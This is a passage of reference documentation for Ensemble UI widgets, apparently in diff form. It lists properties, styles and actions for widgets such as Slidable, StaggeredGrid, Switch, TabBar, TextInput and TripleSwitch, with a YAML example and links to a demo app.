slidables together using the `groupTag` property +- **Directional Support**: Supports both horizontal and vertical sliding +- **Accessibility**: Respects text direction for RTL/LTR layouts + +```yaml +Slidable: + styles: + direction: horizontal + closeOnScroll: true + dragStartBehavior: start + useTextDirection: true + startDrawer: + options: + extentRatio: 0.001 # we can keep the extent ratio small so that dismissible action looks smooth + openThreshold: 0.25 + motion: behind + dismissible: + dismissThreshold: 0.75 + dismissalDurationMs: 300 + resizeDurationMs: 300 + motion: inversedDrawer + onDismissed: + showToast: + message: Item dismissed + endDrawer: + children: + - icon: star + label: Favorite + backgroundColor: yellow + onTap: + showToast: + message: Added to favorites + child: + Container: + padding: 16 + child: + Text: "Swipe me left or right" +``` + +--- + + +# Slider Widget + +The `Slider` widget provides an intuitive way for users to select a value or range of values by dragging a handle along a track. This widget is particularly useful for adjusting numeric inputs like volume, brightness, or any other adjustable parameters that fall within a continuous or discrete range. + +## Key Properties and Features + +- **Value Selection**: Intuitive dragging interface for selecting numeric values +- **Discrete or Continuous**: Option to divide the slider into discrete steps or maintain continuous sliding +- **Customizable Appearance**: Extensive styling options for track, thumb, tick marks, and value indicators +- **Interactive Feedback**: Visual feedback through overlays and value indicators +- **Accessibility**: Support for enabled/disabled states and form validation + +--- + +# Spacer + +The Spacer Widget enables the creation of adjustable spacing between elements, offering precise control over the layout and alignment of content within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------ | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :------- | :------ | :----------------------------------------------------------------------------------------------------------- | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +--- + +# Stack + +The Stack Widget allows you to visually stack items on top of each other, providing a flexible and layered approach to layout and design within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------ | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :------------ | :----- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| alignChildren | string | How to align the children within the stack such that their alignment points will be the same (default is topStart). Each child can override this with alignment property. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | + +--- + +# Staggered Grid + +StaggeredGrid is a versatile widget that arranges its children in a staggered layout, allowing flexible and dynamic positioning for unique and visually appealing UI designs. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :-------------------------------------------------------------------------------------- | +| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. | +| onItemTapHaptic | enum | The type of haptic to perform when a item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | +| item-template | object | [See properties](#item-template) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | widget | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| crossAxisCount | integer | Creates a list of staggered grid tile in the cross axis | +| verticalGap | integer | Vertical gap between the staggered grid tiles | +| horizontalGap | integer | Horizontal gap between the staggered grid tiles | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | + +--- + +# Switch widget + +The Switch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between two states within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| onChangeHaptic | enum | The type of haptic to perform when switch state is changed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| value | string | Specifying the value of your Text Input | +| autoComplete | boolean | Enable the Input search suggestion option | +| items | array | List of values, or Objects with value/label pairs | +| styles | object | [see properties](#styles) | +| leadingText | string | Sets the text displayed before the checkbox | +| trailingText | string | Sets the text displayed after the checkbox | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +--- + +# TabBar + +The TabBar Widget enables the creation of tab bars, providing a convenient and visually appealing way to navigate between different sections or views within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) + +## Properties + +| Property | Type | Description | +| :------------ | :------ | :--------------------------------------- | +| styles | object | [See properties](#styles) | +| selectedIndex | integer | Selecting a Tab based on its index order | +| items | array | Define each of your Tab here | +| onTabSelection | action | The action that will be performed when a tab is pressed. | +| onTabSelectionHaptic | enum | The type of haptic to perform when a tab is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | + +### styles + +| Property | Type | Description | +| :----------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| tabPosition | string | How to lay out the Tab labels | +| tabAlignment | enum | The TabBar alignments: `start`, `startOffset`, `fill`, `center`. | +| tabPadding | string or integer | Padding for each tab labels with CSS-style value. Default: 0 30 0 0 (right padding only) | +| tabFontSize | integer | Font size for the tab text | +| tabFontWeight | string | Font weight for the tab text | +| tabBackgroundColor | integer or string | The background color of the tab's navigation bar, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| activeTabColor | integer or string | The color of the selected tab's text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| inactiveTabColor | integer or string | The color of the un-selected tabs' text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| indicatorColor | integer or string | The color of the selected tab's indicator, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| indicatorThickness | integer | The thickness of the selected tab's indicator | +| margin | string or integer | Margin with CSS-style notation e.g. margin: 5 20 5 | +| borderWidth | integer | The width of border of tabs in integer i.e, 10 . +| borderRadius | integer | The radius of border of tabs in integer like 10, it applies on all sides. +| borderColor | integer or string |The color of borders of the tabs, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`| + +| + +--- + +# TextInput widget + +The TextInput Widget enables the rendering of interactive text input fields, allowing users to enter and edit text within your application for data input and interaction. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) + +## Properties + +| Property | Type | Description | +|:------------------------|:-----------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| labelStyle | [TextStyle](#TextStyle) | Styling for the label | +| hintText | string | Hint text explaining your widget | +| hintStyle | object | Styling the hint text. Default to theme's bodyMedium styling. [see properties](#hintstyles) | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| styles | object | [See properties](#styles) | +| validator | object | [See properties](#validator) [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) | +| validateOnUserInteraction | boolean | Default: false. When set to true, validates the user's input on every keypress. [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) +| value | string | Specifying the value of your Text Input | +| inputType | string | Pick a predefined input type ` default` `email` `phone ` `number` `text` `url` `datetime ` `ipAddress` | +| keyboardAction | string | Specify the action key on native device's soft keyboard | +| obscureText | boolean | whether we should obscure the typed-in text (e.g Social Security) | +| obscureToggle | boolean | enable the toggling between plain and obscure text. | +| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | +| selectable | boolean | Default: true. Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. Setting it to false would disable copy and paste behavior. See [this](https://api.flutter.dev/flutter/material/TextField/enableInteractiveSelection.html) | +| toolbarDone | boolean | Display the toolbar with done button on top of the keyboard. (defaults to False) | +| textStyle | object | An opaque object that determines the size, color, and decoration of text. Similar properties as hintStyle [see properties](#hintstyles) | +| mask | string | It formats the input by a given mask. Ex: +# (###) ###-##-##. detailed examples can be seen in [Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | +| delayedKeyPressDuration | integer | The delay in milliseconds to trigger onDelayedKeyPress ( min : 0) | +| multiline | boolean | Specifies if this TextInput can span multiple lines. (default False) | +| minLines | integer | Specifies the minimum number of lines to start out (applicable for multiline) | +| maxLines | integer | Specifies the maximum number of lines to visually expand to. This will also enable multi-line if this number is greater than 1 and the 'multiline' property is not set. | +| floatLabel | boolean | [floating label example](#floating-label-example) +| autofillHints | array | List of autofill hints used to specify what type of information should be autofilled. Possible values: `"addressCity"`, `"addressCityAndState"`, `"addressState"`, `"birthday"`, `"birthdayDay"`, `"birthdayMonth"`, `"birthdayYear"`, `"countryCode"`, `"countryName"`, `"creditCardExpirationDate"`, `"creditCardExpirationDay"`, `"creditCardExpirationMonth"`, `"creditCardExpirationYear"`, `"creditCardFamilyName"`, `"creditCardGivenName"`, `"creditCardMiddleName"`, `"creditCardName"`, `"creditCardNumber"`, `"creditCardSecurityCode"`, `"creditCardType"`, `"email"`, `"familyName"`, `"fullStreetAddress"`, `"gender"`, `"givenName"`, `"impp"`, `"jobTitle"`, `"language"`, `"location"`, `"middleInitial"`, `"middleName"`, `"name"`, `"namePrefix"`, `"nameSuffix"`, `"newPassword"`, `"newUsername"`, `"nickname"`, `"oneTimeCode"`, `"organizationName"`, `"password"`, `"photo"`, `"postalAddress"`, `"postalAddressExtended"`, `"postalAddressExtendedPostalCode"`, `"postalCode"`, `"streetAddressLevel1"`, `"streetAddressLevel2"`, `"streetAddressLevel3"`, `"streetAddressLevel4"`, `"streetAddressLine1"`, `"streetAddressLine2"`, `"streetAddressLine3"`, `"sublocality"`, `"telephoneNumber"`, `"telephoneNumberAreaCode"`, `"telephoneNumberCountryCode"`, `"telephoneNumberDevice"`, `"telephoneNumberExtension"`, `"telephoneNumberLocal"`, `"telephoneNumberLocalPrefix"`, `"telephoneNumberLocalSuffix"`, `"telephoneNumberNational"`, `"transactionAmount"`, `"transactionCurrency"`, `"url"`, `"username"` | +| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | +| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | + +### Actions + +| Name | description | +| :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| onKeyPress | On every keystroke, call Ensemble's built-in functions or execute code | +| onFocusReceived | Execute an Ensemble action when the field receives focus | +| onFocusLost | Execute an Ensemble action when the field loses focus | +| onChange | Call Ensemble's built-in functions or execute code when the input changes. This event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| onDelayedKeyPress | Execute an Action after a brief delay specified by delayedKeyPressDuration (default: 300 ms). Consecutive calls within this delay will reset the timer, useful for minimizing server calls for type-ahead scenarios. | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| fontSize | integer | Sets the size of the text. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| dismissOnTapOutside | boolean | If set `true` keyboard will be dissmissed when user taps outsides the input area. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | + +### hintStyles + +| Property | Type | Description | +| :----------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| fontSize | integer | Sets the size of the text. | +| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | +| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| overflow | string | Set treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fontfamily | string | Allows users to chose a specific font-family other than the default one. | +| decoration | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `none` `lineThrough` `underline` `overline` | +| decorationStyle | string | The style in which to paint the text decorations (e.g., dashed). `solid` `double` `dotted` `dashed` `wavy` | +| isItalic | boolean | Whether the text should be italic or not | +| lineHeightMultiple | integer | A multiple of the fontSize to determine the line height. (e.g. 2.0 means the line height is double the height the font size occupies). Default null. (note that 1.0 is not the default depending on the font) | +| letterSpacing | integer | The amount of space (in logical pixels) to add between each letter. A negative value can be used to bring the letters closer. | +| wordSpacing | integer | The amount of space (in logical pixels) to add at each sequence of white-space (i.e. between each word). A negative value can be used to bring the words closer. | +| gradient | object | Using this property we can apply gradient to our text | + +### hintStyles.gradient + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| stops | array | The list of color stops, each is a number between 0.0 (where the gradient starts) and 1.0 (where the gradient ends). The number of stops should match the number of colors. | +| start | string | The starting position of the gradient,`topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| end | string | The ending position of the gradient, `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | + +### validator + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| minLength | integer | The minimum number of characters | +| maxLength | integer | The maximum number of characters | +| regex | string | The Regular Expression the input will need to match | +| regexError | string | The customized error message to show when the input does not match the provided regex. | + +#### options for styles.variant + +| Option | Description | +| :-------- | :------------------------------------------------------------------------------------------------------------------- | +| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | +| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | + +### MaxLengthEnforcement + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | +| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | +| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | + +--- + + +# Text widget + +Display and style text within your application. + +--- + + +# Time widget + +The Time Widget enables the rendering of time input fields, allowing users to select and display time values within your application for time-related functionality and interactions. + +--- + +# TripleSwitch widget + +The TripleSwitch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between three states (off, mixed, on) within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| value | string | Specifying the value of your switch widget (off, mixed, on) | | +| styles | object | [see properties](#styles) | +| leadingText | string | Sets the text displayed before the checkbox | +| trailingText | string | Sets the text displayed after the checkbox | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| activeColor | integer or string | Sets the active color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| inactiveColor | integer or string | Sets the inactive color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` 